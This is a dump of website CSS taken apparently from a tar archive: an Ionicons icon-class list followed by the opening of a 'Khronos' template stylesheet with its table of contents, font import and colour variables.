.ion-beaker:before { content: "\f269"; }
.ion-beer:before { content: "\f26a"; }
.ion-bluetooth:before { content: "\f116"; }
.ion-bonfire:before { content: "\f315"; }
.ion-bookmark:before { content: "\f26b"; }
.ion-bowtie:before { content: "\f3c0"; }
.ion-briefcase:before { content: "\f26c"; }
.ion-bug:before { content: "\f2be"; }
.ion-calculator:before { content: "\f26d"; }
.ion-calendar:before { content: "\f117"; }
.ion-camera:before { content: "\f118"; }
.ion-card:before { content: "\f119"; }
.ion-cash:before { content: "\f316"; }
.ion-chatbox:before { content: "\f11b"; }
.ion-chatbox-working:before { content: "\f11a"; }
.ion-chatboxes:before { content: "\f11c"; }
.ion-chatbubble:before { content: "\f11e"; }
.ion-chatbubble-working:before { content: "\f11d"; }
.ion-chatbubbles:before { content: "\f11f"; }
.ion-checkmark:before { content: "\f122"; }
.ion-checkmark-circled:before { content: "\f120"; }
.ion-checkmark-round:before { content: "\f121"; }
.ion-chevron-down:before { content: "\f123"; }
.ion-chevron-left:before { content: "\f124"; }
.ion-chevron-right:before { content: "\f125"; }
.ion-chevron-up:before { content: "\f126"; }
.ion-clipboard:before { content: "\f127"; }
.ion-clock:before { content: "\f26e"; }
.ion-close:before { content: "\f12a"; }
.ion-close-circled:before { content: "\f128"; }
.ion-close-round:before { content: "\f129"; }
.ion-closed-captioning:before { content: "\f317"; }
.ion-cloud:before { content: "\f12b"; }
.ion-code:before { content: "\f271"; }
.ion-code-download:before { content: "\f26f"; }
.ion-code-working:before { content: "\f270"; }
.ion-coffee:before { content: "\f272"; }
.ion-compass:before { content: "\f273"; }
.ion-compose:before { content: "\f12c"; }
.ion-connection-bars:before { content: "\f274"; }
.ion-contrast:before { content: "\f275"; }
.ion-crop:before { content: "\f3c1"; }
.ion-cube:before { content: "\f318"; }
.ion-disc:before { content: "\f12d"; }
.ion-document:before { content: "\f12f"; }
.ion-document-text:before { content: "\f12e"; }
.ion-drag:before { content: "\f130"; }
.ion-earth:before { content: "\f276"; }
.ion-easel:before { content: "\f3c2"; }
.ion-edit:before { content: "\f2bf"; }
.ion-egg:before { content: "\f277"; }
.ion-eject:before { content: "\f131"; }
.ion-email:before { content: "\f132"; }
.ion-email-unread:before { content: "\f3c3"; }
.ion-erlenmeyer-flask:before { content: "\f3c5"; }
.ion-erlenmeyer-flask-bubbles:before { content: "\f3c4"; }
.ion-eye:before { content: "\f133"; }
.ion-eye-disabled:before { content: "\f306"; }
.ion-female:before { content: "\f278"; }
.ion-filing:before { content: "\f134"; }
.ion-film-marker:before { content: "\f135"; }
.ion-fireball:before { content: "\f319"; }
.ion-flag:before { content: "\f279"; }
.ion-flame:before { content: "\f31a"; }
.ion-flash:before { content: "\f137"; }
.ion-flash-off:before { content: "\f136"; }
.ion-folder:before { content: "\f139"; }
.ion-fork:before { content: "\f27a"; }
.ion-fork-repo:before { content: "\f2c0"; }
.ion-forward:before { content: "\f13a"; }
.ion-funnel:before { content: "\f31b"; }
.ion-gear-a:before { content: "\f13d"; }
.ion-gear-b:before { content: "\f13e"; }
.ion-grid:before { content: "\f13f"; }
.ion-hammer:before { content: "\f27b"; }
.ion-happy:before { content: "\f31c"; }
.ion-happy-outline:before { content: "\f3c6"; }
.ion-headphone:before { content: "\f140"; }
.ion-heart:before { content: "\f141"; }
.ion-heart-broken:before { content: "\f31d"; }
.ion-help:before { content: "\f143"; }
.ion-help-buoy:before { content: "\f27c"; }
.ion-help-circled:before { content: "\f142"; }
.ion-home:before { content: "\f144"; }
.ion-icecream:before { content: "\f27d"; }
.ion-image:before { content: "\f147"; }
.ion-images:before { content: "\f148"; }
.ion-information:before { content: "\f14a"; }
.ion-information-circled:before { content: "\f149"; }
.ion-ionic:before { content: "\f14b"; }
.ion-ios-alarm:before { content: "\f3c8"; }
.ion-ios-alarm-outline:before { content: "\f3c7"; }
.ion-ios-albums:before { content: "\f3ca"; }
.ion-ios-albums-outline:before { content: "\f3c9"; }
.ion-ios-americanfootball:before { content: "\f3cc"; }
.ion-ios-americanfootball-outline:before { content: "\f3cb"; }
.ion-ios-analytics:before { content: "\f3ce"; }
.ion-ios-analytics-outline:before { content: "\f3cd"; }
.ion-ios-arrow-back:before { content: "\f3cf"; }
.ion-ios-arrow-down:before { content: "\f3d0"; }
.ion-ios-arrow-forward:before { content: "\f3d1"; }
.ion-ios-arrow-left:before { content: "\f3d2"; }
.ion-ios-arrow-right:before { content: "\f3d3"; }
.ion-ios-arrow-thin-down:before { content: "\f3d4"; }
.ion-ios-arrow-thin-left:before { content: "\f3d5"; }
.ion-ios-arrow-thin-right:before { content: "\f3d6"; }
.ion-ios-arrow-thin-up:before { content: "\f3d7"; }
.ion-ios-arrow-up:before { content: "\f3d8"; }
.ion-ios-at:before { content: "\f3da"; }
.ion-ios-at-outline:before { content: "\f3d9"; }
.ion-ios-barcode:before { content: "\f3dc"; }
.ion-ios-barcode-outline:before { content: "\f3db"; }
.ion-ios-baseball:before { content: "\f3de"; }
.ion-ios-baseball-outline:before { content: "\f3dd"; }
.ion-ios-basketball:before { content: "\f3e0"; }
.ion-ios-basketball-outline:before { content: "\f3df"; }
.ion-ios-bell:before { content: "\f3e2"; }
.ion-ios-bell-outline:before { content: "\f3e1"; }
.ion-ios-body:before { content: "\f3e4"; }
.ion-ios-body-outline:before { content: "\f3e3"; }
.ion-ios-bolt:before { content: "\f3e6"; }
.ion-ios-bolt-outline:before { content: "\f3e5"; }
.ion-ios-book:before { content: "\f3e8"; }
.ion-ios-book-outline:before { content: "\f3e7"; }
.ion-ios-bookmarks:before { content: "\f3ea"; }
.ion-ios-bookmarks-outline:before { content: "\f3e9"; }
.ion-ios-box:before { content: "\f3ec"; }
.ion-ios-box-outline:before { content: "\f3eb"; }
.ion-ios-briefcase:before { content: "\f3ee"; }
.ion-ios-briefcase-outline:before { content: "\f3ed"; }
.ion-ios-browsers:before { content: "\f3f0"; }
.ion-ios-browsers-outline:before { content: "\f3ef"; }
.ion-ios-calculator:before { content: "\f3f2"; }
.ion-ios-calculator-outline:before { content: "\f3f1"; }
.ion-ios-calendar:before { content: "\f3f4"; }
.ion-ios-calendar-outline:before { content: "\f3f3"; }
.ion-ios-camera:before { content: "\f3f6"; }
.ion-ios-camera-outline:before { content: "\f3f5"; }
.ion-ios-cart:before { content: "\f3f8"; }
.ion-ios-cart-outline:before { content: "\f3f7"; }
.ion-ios-chatboxes:before { content: "\f3fa"; }
.ion-ios-chatboxes-outline:before { content: "\f3f9"; }
.ion-ios-chatbubble:before { content: "\f3fc"; }
.ion-ios-chatbubble-outline:before { content: "\f3fb"; }
.ion-ios-checkmark:before { content: "\f3ff"; }
.ion-ios-checkmark-empty:before { content: "\f3fd"; }
.ion-ios-checkmark-outline:before { content: "\f3fe"; }
.ion-ios-circle-filled:before { content: "\f400"; }
.ion-ios-circle-outline:before { content: "\f401"; }
.ion-ios-clock:before { content: "\f403"; }
.ion-ios-clock-outline:before { content: "\f402"; }
.ion-ios-close:before { content: "\f406"; }
.ion-ios-close-empty:before { content: "\f404"; }
.ion-ios-close-outline:before { content: "\f405"; }
.ion-ios-cloud:before { content: "\f40c"; }
.ion-ios-cloud-download:before { content: "\f408"; }
.ion-ios-cloud-download-outline:before { content: "\f407"; }
.ion-ios-cloud-outline:before { content: "\f409"; }
.ion-ios-cloud-upload:before { content: "\f40b"; }
.ion-ios-cloud-upload-outline:before { content: "\f40a"; }
.ion-ios-cloudy:before { content: "\f410"; }
.ion-ios-cloudy-night:before { content: "\f40e"; }
.ion-ios-cloudy-night-outline:before { content: "\f40d"; }
.ion-ios-cloudy-outline:before { content: "\f40f"; }
.ion-ios-cog:before { content: "\f412"; }
.ion-ios-cog-outline:before { content: "\f411"; }
.ion-ios-color-filter:before { content: "\f414"; }
.ion-ios-color-filter-outline:before { content: "\f413"; }
.ion-ios-color-wand:before { content: "\f416"; }
.ion-ios-color-wand-outline:before { content: "\f415"; }
.ion-ios-compose:before { content: "\f418"; }
.ion-ios-compose-outline:before { content: "\f417"; }
.ion-ios-contact:before { content: "\f41a"; }
.ion-ios-contact-outline:before { content: "\f419"; }
.ion-ios-copy:before { content: "\f41c"; }
.ion-ios-copy-outline:before { content: "\f41b"; }
.ion-ios-crop:before { content: "\f41e"; }
.ion-ios-crop-strong:before { content: "\f41d"; }
.ion-ios-download:before { content: "\f420"; }
.ion-ios-download-outline:before { content: "\f41f"; }
.ion-ios-drag:before { content: "\f421"; }
.ion-ios-email:before { content: "\f423"; }
.ion-ios-email-outline:before { content: "\f422"; }
.ion-ios-eye:before { content: "\f425"; }
.ion-ios-eye-outline:before { content: "\f424"; }
.ion-ios-fastforward:before { content: "\f427"; }
.ion-ios-fastforward-outline:before { content: "\f426"; }
.ion-ios-filing:before { content: "\f429"; }
.ion-ios-filing-outline:before { content: "\f428"; }
.ion-ios-film:before { content: "\f42b"; }
.ion-ios-film-outline:before { content: "\f42a"; }
.ion-ios-flag:before { content: "\f42d"; }
.ion-ios-flag-outline:before { content: "\f42c"; }
.ion-ios-flame:before { content: "\f42f"; }
.ion-ios-flame-outline:before { content: "\f42e"; }
.ion-ios-flask:before { content: "\f431"; }
.ion-ios-flask-outline:before { content: "\f430"; }
.ion-ios-flower:before { content: "\f433"; }
.ion-ios-flower-outline:before { content: "\f432"; }
.ion-ios-folder:before { content: "\f435"; }
.ion-ios-folder-outline:before { content: "\f434"; }
.ion-ios-football:before { content: "\f437"; }
.ion-ios-football-outline:before { content: "\f436"; }
.ion-ios-game-controller-a:before { content: "\f439"; }
.ion-ios-game-controller-a-outline:before { content: "\f438"; }
.ion-ios-game-controller-b:before { content: "\f43b"; }
.ion-ios-game-controller-b-outline:before { content: "\f43a"; }
.ion-ios-gear:before { content: "\f43d"; }
.ion-ios-gear-outline:before { content: "\f43c"; }
.ion-ios-glasses:before { content: "\f43f"; }
.ion-ios-glasses-outline:before { content: "\f43e"; }
.ion-ios-grid-view:before { content: "\f441"; }
.ion-ios-grid-view-outline:before { content: "\f440"; }
.ion-ios-heart:before { content: "\f443"; }
.ion-ios-heart-outline:before { content: "\f442"; }
.ion-ios-help:before { content: "\f446"; }
.ion-ios-help-empty:before { content: "\f444"; }
.ion-ios-help-outline:before { content: "\f445"; }
.ion-ios-home:before { content: "\f448"; }
.ion-ios-home-outline:before { content: "\f447"; }
.ion-ios-infinite:before { content: "\f44a"; }
.ion-ios-infinite-outline:before { content: "\f449"; }
.ion-ios-information:before { content: "\f44d"; }
.ion-ios-information-empty:before { content: "\f44b"; }
.ion-ios-information-outline:before { content: "\f44c"; }
.ion-ios-ionic-outline:before { content: "\f44e"; }
.ion-ios-keypad:before { content: "\f450"; }
.ion-ios-keypad-outline:before { content: "\f44f"; }
.ion-ios-lightbulb:before { content: "\f452"; }
.ion-ios-lightbulb-outline:before { content: "\f451"; }
.ion-ios-list:before { content: "\f454"; }
.ion-ios-list-outline:before { content: "\f453"; }
.ion-ios-location:before { content: "\f456"; }
.ion-ios-location-outline:before { content: "\f455"; }
.ion-ios-locked:before { content: "\f458"; }
.ion-ios-locked-outline:before { content: "\f457"; }
.ion-ios-loop:before { content: "\f45a"; }
.ion-ios-loop-strong:before { content: "\f459"; }
.ion-ios-medical:before { content: "\f45c"; }
.ion-ios-medical-outline:before { content: "\f45b"; }
.ion-ios-medkit:before { content: "\f45e"; }
.ion-ios-medkit-outline:before { content: "\f45d"; }
.ion-ios-mic:before { content: "\f461"; }
.ion-ios-mic-off:before { content: "\f45f"; }
.ion-ios-mic-outline:before { content: "\f460"; }
.ion-ios-minus:before { content: "\f464"; }
.ion-ios-minus-empty:before { content: "\f462"; }
.ion-ios-minus-outline:before { content: "\f463"; }
.ion-ios-monitor:before { content: "\f466"; }
.ion-ios-monitor-outline:before { content: "\f465"; }
.ion-ios-moon:before { content: "\f468"; }
.ion-ios-moon-outline:before { content: "\f467"; }
.ion-ios-more:before { content: "\f46a"; }
.ion-ios-more-outline:before { content: "\f469"; }
.ion-ios-musical-note:before { content: "\f46b"; }
.ion-ios-musical-notes:before { content: "\f46c"; }
.ion-ios-navigate:before { content: "\f46e"; }
.ion-ios-navigate-outline:before { content: "\f46d"; }
.ion-ios-nutrition:before { content: "\f470"; }
.ion-ios-nutrition-outline:before { content: "\f46f"; }
.ion-ios-paper:before { content: "\f472"; }
.ion-ios-paper-outline:before { content: "\f471"; }
.ion-ios-paperplane:before { content: "\f474"; }
.ion-ios-paperplane-outline:before { content: "\f473"; }
.ion-ios-partlysunny:before { content: "\f476"; }
.ion-ios-partlysunny-outline:before { content: "\f475"; }
.ion-ios-pause:before { content: "\f478"; }
.ion-ios-pause-outline:before { content: "\f477"; }
.ion-ios-paw:before { content: "\f47a"; }
.ion-ios-paw-outline:before { content: "\f479"; }
.ion-ios-people:before { content: "\f47c"; }
.ion-ios-people-outline:before { content: "\f47b"; }
.ion-ios-person:before { content: "\f47e"; }
.ion-ios-person-outline:before { content: "\f47d"; }
.ion-ios-personadd:before { content: "\f480"; }
.ion-ios-personadd-outline:before { content: "\f47f"; }
.ion-ios-photos:before { content: "\f482"; }
.ion-ios-photos-outline:before { content: "\f481"; }
.ion-ios-pie:before { content: "\f484"; }
.ion-ios-pie-outline:before { content: "\f483"; }
.ion-ios-pint:before { content: "\f486"; }
.ion-ios-pint-outline:before { content: "\f485"; }
.ion-ios-play:before { content: "\f488"; }
.ion-ios-play-outline:before { content: "\f487"; }
.ion-ios-plus:before { content: "\f48b"; }
.ion-ios-plus-empty:before { content: "\f489"; }
.ion-ios-plus-outline:before { content: "\f48a"; }
.ion-ios-pricetag:before { content: "\f48d"; }
.ion-ios-pricetag-outline:before { content: "\f48c"; }
.ion-ios-pricetags:before { content: "\f48f"; }
.ion-ios-pricetags-outline:before { content: "\f48e"; }
.ion-ios-printer:before { content: "\f491"; }
.ion-ios-printer-outline:before { content: "\f490"; }
.ion-ios-pulse:before { content: "\f493"; }
.ion-ios-pulse-strong:before { content: "\f492"; }
.ion-ios-rainy:before { content: "\f495"; }
.ion-ios-rainy-outline:before { content: "\f494"; }
.ion-ios-recording:before { content: "\f497"; }
.ion-ios-recording-outline:before { content: "\f496"; }
.ion-ios-redo:before { content: "\f499"; }
.ion-ios-redo-outline:before { content: "\f498"; }
.ion-ios-refresh:before { content: "\f49c"; }
.ion-ios-refresh-empty:before { content: "\f49a"; }
.ion-ios-refresh-outline:before { content: "\f49b"; }
.ion-ios-reload:before { content: "\f49d"; }
.ion-ios-reverse-camera:before { content: "\f49f"; }
.ion-ios-reverse-camera-outline:before { content: "\f49e"; }
.ion-ios-rewind:before { content: "\f4a1"; }
.ion-ios-rewind-outline:before { content: "\f4a0"; }
.ion-ios-rose:before { content: "\f4a3"; }
.ion-ios-rose-outline:before { content: "\f4a2"; }
.ion-ios-search:before { content: "\f4a5"; }
.ion-ios-search-strong:before { content: "\f4a4"; }
.ion-ios-settings:before { content: "\f4a7"; }
.ion-ios-settings-strong:before { content: "\f4a6"; }
.ion-ios-shuffle:before { content: "\f4a9"; }
.ion-ios-shuffle-strong:before { content: "\f4a8"; }
.ion-ios-skipbackward:before { content: "\f4ab"; }
.ion-ios-skipbackward-outline:before { content: "\f4aa"; }
.ion-ios-skipforward:before { content: "\f4ad"; }
.ion-ios-skipforward-outline:before { content: "\f4ac"; }
.ion-ios-snowy:before { content: "\f4ae"; }
.ion-ios-speedometer:before { content: "\f4b0"; }
.ion-ios-speedometer-outline:before { content: "\f4af"; }
.ion-ios-star:before { content: "\f4b3"; }
.ion-ios-star-half:before { content: "\f4b1"; }
.ion-ios-star-outline:before { content: "\f4b2"; }
.ion-ios-stopwatch:before { content: "\f4b5"; }
.ion-ios-stopwatch-outline:before { content: "\f4b4"; }
.ion-ios-sunny:before { content: "\f4b7"; }
.ion-ios-sunny-outline:before { content: "\f4b6"; }
.ion-ios-telephone:before { content: "\f4b9"; }
.ion-ios-telephone-outline:before { content: "\f4b8"; }
.ion-ios-tennisball:before { content: "\f4bb"; }
.ion-ios-tennisball-outline:before { content: "\f4ba"; }
.ion-ios-thunderstorm:before { content: "\f4bd"; }
.ion-ios-thunderstorm-outline:before { content: "\f4bc"; }
.ion-ios-time:before { content: "\f4bf"; }
.ion-ios-time-outline:before { content: "\f4be"; }
.ion-ios-timer:before { content: "\f4c1"; }
.ion-ios-timer-outline:before { content: "\f4c0"; }
.ion-ios-toggle:before { content: "\f4c3"; }
.ion-ios-toggle-outline:before { content: "\f4c2"; }
.ion-ios-trash:before { content: "\f4c5"; }
.ion-ios-trash-outline:before { content: "\f4c4"; }
.ion-ios-undo:before { content: "\f4c7"; }
.ion-ios-undo-outline:before { content: "\f4c6"; }
.ion-ios-unlocked:before { content: "\f4c9"; }
.ion-ios-unlocked-outline:before { content: "\f4c8"; }
.ion-ios-upload:before { content: "\f4cb"; }
.ion-ios-upload-outline:before { content: "\f4ca"; }
.ion-ios-videocam:before { content: "\f4cd"; }
.ion-ios-videocam-outline:before { content: "\f4cc"; }
.ion-ios-volume-high:before { content: "\f4ce"; }
.ion-ios-volume-low:before { content: "\f4cf"; }
.ion-ios-wineglass:before { content: "\f4d1"; }
.ion-ios-wineglass-outline:before { content: "\f4d0"; }
.ion-ios-world:before { content: "\f4d3"; }
.ion-ios-world-outline:before { content: "\f4d2"; }
.ion-ipad:before { content: "\f1f9"; }
.ion-iphone:before { content: "\f1fa"; }
.ion-ipod:before { content: "\f1fb"; }
.ion-jet:before { content: "\f295"; }
.ion-key:before { content: "\f296"; }
.ion-knife:before { content: "\f297"; }
.ion-laptop:before { content: "\f1fc"; }
.ion-leaf:before { content: "\f1fd"; }
.ion-levels:before { content: "\f298"; }
.ion-lightbulb:before { content: "\f299"; }
.ion-link:before { content: "\f1fe"; }
.ion-load-a:before { content: "\f29a"; }
.ion-load-b:before { content: "\f29b"; }
.ion-load-c:before { content: "\f29c"; }
.ion-load-d:before { content: "\f29d"; }
.ion-location:before { content: "\f1ff"; }
.ion-lock-combination:before { content: "\f4d4"; }
.ion-locked:before { content: "\f200"; }
.ion-log-in:before { content: "\f29e"; }
.ion-log-out:before { content: "\f29f"; }
.ion-loop:before { content: "\f201"; }
.ion-magnet:before { content: "\f2a0"; }
.ion-male:before { content: "\f2a1"; }
.ion-man:before { content: "\f202"; }
.ion-map:before { content: "\f203"; }
.ion-medkit:before { content: "\f2a2"; }
.ion-merge:before { content: "\f33f"; }
.ion-mic-a:before { content: "\f204"; }
.ion-mic-b:before { content: "\f205"; }
.ion-mic-c:before { content: "\f206"; }
.ion-minus:before { content: "\f209"; }
.ion-minus-circled:before { content: "\f207"; }
.ion-minus-round:before { content: "\f208"; }
.ion-model-s:before { content: "\f2c1"; }
.ion-monitor:before { content: "\f20a"; }
.ion-more:before { content: "\f20b"; }
.ion-mouse:before { content: "\f340"; }
.ion-music-note:before { content: "\f20c"; }
.ion-navicon:before { content: "\f20e"; }
.ion-navicon-round:before { content: "\f20d"; }
.ion-navigate:before { content: "\f2a3"; }
.ion-network:before { content: "\f341"; }
.ion-no-smoking:before { content: "\f2c2"; }
.ion-nuclear:before { content: "\f2a4"; }
.ion-outlet:before { content: "\f342"; }
.ion-paintbrush:before { content: "\f4d5"; }
.ion-paintbucket:before { content: "\f4d6"; }
.ion-paper-airplane:before { content: "\f2c3"; }
.ion-paperclip:before { content: "\f20f"; }
.ion-pause:before { content: "\f210"; }
.ion-person:before { content: "\f213"; }
.ion-person-add:before { content: "\f211"; }
.ion-person-stalker:before { content: "\f212"; }
.ion-pie-graph:before { content: "\f2a5"; }
.ion-pin:before { content: "\f2a6"; }
.ion-pinpoint:before { content: "\f2a7"; }
.ion-pizza:before { content: "\f2a8"; }
.ion-plane:before { content: "\f214"; }
.ion-planet:before { content: "\f343"; }
.ion-play:before { content: "\f215"; }
.ion-playstation:before { content: "\f30a"; }
.ion-plus:before { content: "\f218"; }
.ion-plus-circled:before { content: "\f216"; }
.ion-plus-round:before { content: "\f217"; }
.ion-podium:before { content: "\f344"; }
.ion-pound:before { content: "\f219"; }
.ion-power:before { content: "\f2a9"; }
.ion-pricetag:before { content: "\f2aa"; }
.ion-pricetags:before { content: "\f2ab"; }
.ion-printer:before { content: "\f21a"; }
.ion-pull-request:before { content: "\f345"; }
.ion-qr-scanner:before { content: "\f346"; }
.ion-quote:before { content: "\f347"; }
.ion-radio-waves:before { content: "\f2ac"; }
.ion-record:before { content: "\f21b"; }
.ion-refresh:before { content: "\f21c"; }
.ion-reply:before { content: "\f21e"; }
.ion-reply-all:before { content: "\f21d"; }
.ion-ribbon-a:before { content: "\f348"; }
.ion-ribbon-b:before { content: "\f349"; }
.ion-sad:before { content: "\f34a"; }
.ion-sad-outline:before { content: "\f4d7"; }
.ion-scissors:before { content: "\f34b"; }
.ion-search:before { content: "\f21f"; }
.ion-settings:before { content: "\f2ad"; }
.ion-share:before { content: "\f220"; }
.ion-shuffle:before { content: "\f221"; }
.ion-skip-backward:before { content: "\f222"; }
.ion-skip-forward:before { content: "\f223"; }
.ion-social-android:before { content: "\f225"; }
.ion-social-android-outline:before { content: "\f224"; }
.ion-social-angular:before { content: "\f4d9"; }
.ion-social-angular-outline:before { content: "\f4d8"; }
.ion-social-apple:before { content: "\f227"; }
.ion-social-apple-outline:before { content: "\f226"; }
.ion-social-bitcoin:before { content: "\f2af"; }
.ion-social-bitcoin-outline:before { content: "\f2ae"; }
.ion-social-buffer:before { content: "\f229"; }
.ion-social-buffer-outline:before { content: "\f228"; }
.ion-social-chrome:before { content: "\f4db"; }
.ion-social-chrome-outline:before { content: "\f4da"; }
.ion-social-codepen:before { content: "\f4dd"; }
.ion-social-codepen-outline:before { content: "\f4dc"; }
.ion-social-css3:before { content: "\f4df"; }
.ion-social-css3-outline:before { content: "\f4de"; }
.ion-social-designernews:before { content: "\f22b"; }
.ion-social-designernews-outline:before { content: "\f22a"; }
.ion-social-dribbble:before { content: "\f22d"; }
.ion-social-dribbble-outline:before { content: "\f22c"; }
.ion-social-dropbox:before { content: "\f22f"; }
.ion-social-dropbox-outline:before { content: "\f22e"; }
.ion-social-euro:before { content: "\f4e1"; }
.ion-social-euro-outline:before { content: "\f4e0"; }
.ion-social-facebook:before { content: "\f231"; }
.ion-social-facebook-outline:before { content: "\f230"; }
.ion-social-foursquare:before { content: "\f34d"; }
.ion-social-foursquare-outline:before { content: "\f34c"; }
.ion-social-freebsd-devil:before { content: "\f2c4"; }
.ion-social-github:before { content: "\f233"; }
.ion-social-github-outline:before { content: "\f232"; }
.ion-social-google:before { content: "\f34f"; }
.ion-social-google-outline:before { content: "\f34e"; }
.ion-social-googleplus:before { content: "\f235"; }
.ion-social-googleplus-outline:before { content: "\f234"; }
.ion-social-hackernews:before { content: "\f237"; }
.ion-social-hackernews-outline:before { content: "\f236"; }
.ion-social-html5:before { content: "\f4e3"; }
.ion-social-html5-outline:before { content: "\f4e2"; }
.ion-social-instagram:before { content: "\f351"; }
.ion-social-instagram-outline:before { content: "\f350"; }
.ion-social-javascript:before { content: "\f4e5"; }
.ion-social-javascript-outline:before { content: "\f4e4"; }
.ion-social-linkedin:before { content: "\f239"; }
.ion-social-linkedin-outline:before { content: "\f238"; }
.ion-social-markdown:before { content: "\f4e6"; }
.ion-social-nodejs:before { content: "\f4e7"; }
.ion-social-octocat:before { content: "\f4e8"; }
.ion-social-pinterest:before { content: "\f2b1"; }
.ion-social-pinterest-outline:before { content: "\f2b0"; }
.ion-social-python:before { content: "\f4e9"; }
.ion-social-reddit:before { content: "\f23b"; }
.ion-social-reddit-outline:before { content: "\f23a"; }
.ion-social-rss:before { content: "\f23d"; }
.ion-social-rss-outline:before { content: "\f23c"; }
.ion-social-sass:before { content: "\f4ea"; }
.ion-social-skype:before { content: "\f23f"; }
.ion-social-skype-outline:before { content: "\f23e"; }
.ion-social-snapchat:before { content: "\f4ec"; }
.ion-social-snapchat-outline:before { content: "\f4eb"; }
.ion-social-tumblr:before { content: "\f241"; }
.ion-social-tumblr-outline:before { content: "\f240"; }
.ion-social-tux:before { content: "\f2c5"; }
.ion-social-twitch:before { content: "\f4ee"; }
.ion-social-twitch-outline:before { content: "\f4ed"; }
.ion-social-twitter:before { content: "\f243"; }
.ion-social-twitter-outline:before { content: "\f242"; }
.ion-social-usd:before { content: "\f353"; }
.ion-social-usd-outline:before { content: "\f352"; }
.ion-social-vimeo:before { content: "\f245"; }
.ion-social-vimeo-outline:before { content: "\f244"; }
.ion-social-whatsapp:before { content: "\f4f0"; }
.ion-social-whatsapp-outline:before { content: "\f4ef"; }
.ion-social-windows:before { content: "\f247"; }
.ion-social-windows-outline:before { content: "\f246"; }
.ion-social-wordpress:before { content: "\f249"; }
.ion-social-wordpress-outline:before { content: "\f248"; }
.ion-social-yahoo:before { content: "\f24b"; }
.ion-social-yahoo-outline:before { content: "\f24a"; }
.ion-social-yen:before { content: "\f4f2"; }
.ion-social-yen-outline:before { content: "\f4f1"; }
.ion-social-youtube:before { content: "\f24d"; }
.ion-social-youtube-outline:before { content: "\f24c"; }
.ion-soup-can:before { content: "\f4f4"; }
.ion-soup-can-outline:before { content: "\f4f3"; }
.ion-speakerphone:before { content: "\f2b2"; }
.ion-speedometer:before { content: "\f2b3"; }
.ion-spoon:before { content: "\f2b4"; }
.ion-star:before { content: "\f24e"; }
.ion-stats-bars:before { content: "\f2b5"; }
.ion-steam:before { content: "\f30b"; }
.ion-stop:before { content: "\f24f"; }
.ion-thermometer:before { content: "\f2b6"; }
.ion-thumbsdown:before { content: "\f250"; }
.ion-thumbsup:before { content: "\f251"; }
.ion-toggle:before { content: "\f355"; }
.ion-toggle-filled:before { content: "\f354"; }
.ion-transgender:before { content: "\f4f5"; }
.ion-trash-a:before { content: "\f252"; }
.ion-trash-b:before { content: "\f253"; }
.ion-trophy:before { content: "\f356"; }
.ion-tshirt:before { content: "\f4f7"; }
.ion-tshirt-outline:before { content: "\f4f6"; }
.ion-umbrella:before { content: "\f2b7"; }
.ion-university:before { content: "\f357"; }
.ion-unlocked:before { content: "\f254"; }
.ion-upload:before { content: "\f255"; }
.ion-usb:before { content: "\f2b8"; }
.ion-videocamera:before { content: "\f256"; }
.ion-volume-high:before { content: "\f257"; }
.ion-volume-low:before { content: "\f258"; }
.ion-volume-medium:before { content: "\f259"; }
.ion-volume-mute:before { content: "\f25a"; }
.ion-wand:before { content: "\f358"; }
.ion-waterdrop:before { content: "\f25b"; }
.ion-wifi:before { content: "\f25c"; }
.ion-wineglass:before { content: "\f2b9"; }
.ion-woman:before { content: "\f25d"; }
.ion-wrench:before { content: "\f2ba"; }
.ion-xbox:before { content: "\f30c"; }
styles.css 0000604 00000234653 15074622634 0006623 0 ustar 00 /* ===================================================================
* Khronos Main Stylesheet
* Template Ver. 2.0.0
* 07-03-2021
* ------------------------------------------------------------------
*
* TOC:
* # SETTINGS
* ## fonts
* ## colors
* ## spacing and typescale
* ## grid variables
* # NORMALIZE
* # BASE SETUP
* # GRID
* ## large screen devices
* ## medium screen devices
* ## tablet devices
* ## mobile devices
* ## small screen devices
* ## additional column stackpoints
* # UTILITY CLASSES
* # TYPOGRAPHY
* ## base type styles
* ## additional typography & helper classes
* ## lists
* ## spacing
* # PRELOADER
* ## page loaded
* # FORM
* ## style placeholder text
* ## change autocomplete styles in Chrome
* # BUTTONS
* # TABLE
* # COMPONENTS
* ## pagination
* ## alert box
* ## skillbars
* ## stats tabs
* # PROJECT-WIDE SHARED STYLES
* ## media classes
* # PAGE WRAP
* # HEADER
* ## logo
* ## header social
* # INTRO
* ## intro background
* ## intro slider
* ## intro particles
* ## intro content
* ## intro counter
* ## scroll icon
* ## intro transitions
* # INFO
* ## info bg
* ## tabs
* ## services
* ## MailChimp form
* # FOOTER
* ## footer social
* ## go top
* ## copyright
*
* ------------------------------------------------------------------ */
/* ===================================================================
* # SETTINGS
*
*
* ------------------------------------------------------------------- */
/* -------------------------------------------------------------------
* ## fonts
* ------------------------------------------------------------------- */
@import url("https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap");
:root {
--font-1 : "Inter", sans-serif;
/* monospace
*/
--font-mono : Consolas, "Andale Mono", Courier, "Courier New", monospace;
}
/* -------------------------------------------------------------------
* ## colors
* ------------------------------------------------------------------- */
:root {
/* color-1(#034E4A)
* color-2(#A33B20)
*/
--color-1 : hsla(177, 93%, 16%, 1);
--color-2 : hsla(12, 67%, 38%, 1);
/* theme color variations
*/
--color-1-lighter : hsla(177, 93%, 36%, 1);
--color-1-light : hsla(177, 93%, 26%, 1);
--color-1-dark : hsla(177, 93%, 10%, 1);
--color-1-darker : hsla(177, 93%, 5%, 1);
--color-2-lighter : hsla(12, 67%, 58%, 1);
--color-2-light : hsla(12, 67%, 48%, 1);
--color-2-dark : hsla(12, 67%, 28%, 1);
--color-2-darker : hsla(12, 67%, 18%, 1);
/* feedback colors
* color-error(#ffd1d2), color-success(#c8e675),
* color-info(#d7ecfb), color-notice(#fff099)
*/
--color-error : hsla(359, 100%, 91%, 1);
--color-success : hsla(76, 69%, 68%, 1);
--color-info : hsla(205, 82%, 91%, 1);
--color-notice : hsla(51, 100%, 80%, 1);
--color-error-content : hsla(359, 50%, 50%, 1);
--color-success-content : hsla(76, 29%, 28%, 1);
--color-info-content : hsla(205, 32%, 31%, 1);
--color-notice-content : hsla(51, 30%, 30%, 1);
/* shades
* generated using
* Tint & Shade Generator
* (https://maketintsandshades.com/)
*/
--color-black : #000000;
--color-gray-19 : #020202;
--color-gray-18 : #040404;
--color-gray-17 : #060607;
--color-gray-16 : #080809;
--color-gray-15 : #0a0b0b;
--color-gray-14 : #0c0d0d;
--color-gray-13 : #0e0f0f;
--color-gray-12 : #101112;
--color-gray-11 : #121314;
--color-gray-10 : #141516;
--color-gray-9 : #2c2c2d;
--color-gray-8 : #434445;
